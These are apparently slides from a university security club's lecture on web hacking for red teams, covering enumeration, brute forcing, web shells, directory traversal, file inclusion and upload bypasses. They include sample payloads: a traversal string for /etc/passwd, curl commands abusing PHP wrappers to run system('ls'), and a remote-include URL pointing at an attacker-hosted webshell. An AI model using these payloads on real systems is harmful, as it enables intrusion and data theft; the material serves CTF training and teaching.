SIGPwny

FA2024 Week 04 • 2024-09-24

Web Hacking for Red Teams

Ronan Boyarski

Table of Contents

Web Hacking Context

Web Hacking Overview

- Assuming you already attended Web Hacking I & II
- What was covered there was strictly exploitation
- What if it's not so obvious where we need to look?
  - This is where enumeration comes in
  - This is one of the things I referenced as service-specific active recon
- This picks up right from where we left off last meeting
  - Imagine that you have some IPs/domains to target and just found HTTP services
  - How do we turn that into code execution?

Basic Web Hosting Theory

Basic Web Hosting Theory: Directories

- One of the most common enumeration techniques is figuring out what endpoints are accessible
- This isn't a strict requirement, but most websites will sort their content in a hierarchical fashion in the URL
  - This isn't a strict requirement because at the end of the day the URL is just another data point that doesn't mean anything intrinsically
  - This is more of a convention
- We could hit a website that's super boring, but has some fun stuff exposed in other places
  - For example: www.example.com/admin or www.example.com/.git

Basic Web Hosting Theory: Directories

- Sometimes, this will be literal file system access, but the overwhelming majority of the time it's routed by whatever the site software is
- We can make a list of a bunch of common directories and just try to check if any of them exist
  - This is dirbusting
- We can also follow all links related to the site recursively
  - This is spidering
- Dirbusting is **very unsubtle**, as we're going to be sending often millions of requests at very high speeds

Basic Web Hosting Theory: VHOSTS

- Virtual Hosts are ways of having multiple domains to one IP
- These are very very common in Boot2Root CTFs
- If you encounter one of these in a CTF, **you will need to update your /etc/hosts** file manually
  - This may or may not have an associated DNS record IRL
- VHOSTS are not the same as subdomains, although they look similar
  - They don't need the top-level domain to exist
- We can poke around for VHOSTS with `gobuster vhost` or `ffuf`

Basic Web Hosting Theory: Domains

- Similar to VHOSTS, it's also possible for sites to have domains and subdomains
  - E.g. example.com, admin.example.com
- In this case, there must be a top-level domain and public DNS records
- We will enumerate this at the DNS level rather than sending a bunch of requests to the website (this ties into NetSec meeting)
- The tool everyone seems to use for this is `dnsrecon`, although it's totally possible to run ye olde `dig` and `nslookup` manually

Basic Web Hosting Theory: Recap

- At this point, we should have most of the tools we need to map out web applications
- Now we can transition into trying to figure out what sorts of things to look for

Where do we go now?

Finding Valuable Information

- For some web apps, there are some pretty comically bad misconfigurations that can happen due to leaving valuable information exposed
  - For example, finding a .git directory left over in the website is quite bad, as that can potentially show source
  - Git is very valuable due to people misusing it
- Sometimes we can hit stuff that exposes technical information, like a PHP version page
- Sometimes there will be a robots.txt exposed which can occasionally include directories that we could fail to find in our dirbusting wordlist

Brute Forcing & Default Credentials

- If you can locate an admin panel, it's (generally) going to be worth it to try to get in
  - Some sites have authenticated RCE as a feature (some configurations of WordPress allow this, for example)
  - If you have access to anything DevOps, this goes double
- Check before you start for the following things
  - What are the default credentials?
  - Can I do username enumeration?
  - Is there any manner of rate-limiting or lockout?
- Then, you can create a Hydra brute force using Burp Suite and the http-post-form module (guide)

Web Shells & Code Execution

- Execution is going to be finicky as it's pretty dependent on how it's set up
- You can start guessing based off of common tech stacks or enumerate with a tool like `whatweb`
  - You can also poke around manually or use the wappalyzer extension
- If you have the ability to upload and view files that match the relevant file type that the server executes (like PHP), then a common tactic is to upload a **webshell**
  - In Kali you can find a bunch of these in /usr/share/webshells
  - A better tactic is to write your own post-exploit file that will stage and establish a C2 session (more stealthy & secure)

Cool Script Kiddie Tools

- It's super noisy, but you can do a sort of vulnerability scan against a website with `nikto`
  - This is more of a CTF/pentesting thing and not something you would probably do for real
- If you suspect you have an SQL injection vulnerability but ~~are really lazy~~ want to go fast, you can use `SQLmap` as an autopwn
  - While this can be pretty effective it's very very noisy and you shouldn't be running this if you aren't already comfortable doing this by hand
  - DO NOT default to running SQLmap whenever you find a suspected SQL injection

Additional Exploitation Techniques

Directory Traversal

- This is when we can escape a file path to do arbitrary file read
- This will often be in a url like ?page=about.php
- We can use this to read some fun stuff like SSH keys if it's vulnerable
- Generally you can spam ../ in the URL, like ?page=../../../../../etc/passwd
- Sometimes filter bypass techniques will be necessary, this depends heavily on the filter being used
  - We had challenges for this at Fall CTF!
  - The classic is ....//, because when you remove the inner ../, you end up with ../. This does not work on recursive filters.

Local File Inclusion

- This is like directory traversal, except instead of reading a target file, **we execute it**
- Exploiting this can be tricky
- A common one is to do log poisoning, where you make a request that includes a PHP backdoor, then use your LFI vulnerability to visit the log file, which will contain a valid PHP backdoor that's executed
  - This one is Apache specific
  - By its nature, you only get one shot. If you mess it up, you've ruined your shot until the log is cleared

Local File Inclusion: PHP Wrappers

- As another cursed PHP-ism, if a website is misconfigured, we can exploit PHP wrappers to do things like encoding or **arbitrary code execution**
- Example **filter base64** conversion: `curl http://example.com/page/index.php?page=php://filter/convert.base64-encode/resource=admin.php`
- Example **data code execution** conversion: `curl "http://example.com/page/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"`

Remote File Inclusion

- This one is really rare (requires unusual configurations) but is a super easy win
- Like LFI but we can include an arbitrary URL. So we could have something like `?page=http://attacker.site/webshell.php`

Malicious File Upload

- This is when we can upload files and execute them
- A lot of the time this happens when the filter does not sufficiently ensure that we're uploading what we say we are
- For example, if we have a profile picture upload that loads a profile picture, but we can just upload code that the server recognizes, in some configurations that will be executed, leading to compromise

Malicious File Upload: Filter Bypasses

- Sometimes you can mess with the file extension to bypass filters by finding alternative equivalent extensions
  - This will beat a blacklist but not a whitelist
- You can change the file's magic numbers and that will often times still work just fine for code execution
- You can change the content/MIME type in your request and see if that makes a difference
- All of this totally depends on how the server is set up

Review

- By this point through main SIGPwny you should already have an understanding of the core web vulnerabilities like XSS, SQL injection, command injection, SSRF
  - There are other vulnerabilities as well like template injection, CSRF, insecure deserialization, and more
  - You can train these by doing more CTFs!
- What I went over today is complementary and should give you an idea of what to do *in addition to those tactics*
- Additionally, don't forget to search for known exploits whenever you see a website version identified!

Various Neat Tricks

- If you are going against a user (or simulated user in CTF), you can often send non-malicious files in an upload as a phish
  - For example, you can create malicious PDFs that will steal Windows credentials
  - If you can trick a user to click on a link through the website, you could do some fun phishy stuff with HTA files
- You can auto-download a file with Javascript
- Even if the core software is not exploitable, extensions / plugins might be (this goes for most CMSs)
- If the server is running IIS on Windows, SSRF could lead to instant compromise by having it visit your SMB share

Next Meetings

2024-09-26 • This Thursday

- Wireshark & Network Forensics w/Sagnik & Michael
- Learn how to detect attacks covered in last meeting

2024-10-01 • Next Tuesday

- Linux & Linux Privilege Escalation
- Turn your user-level access from NetSec/Web into root!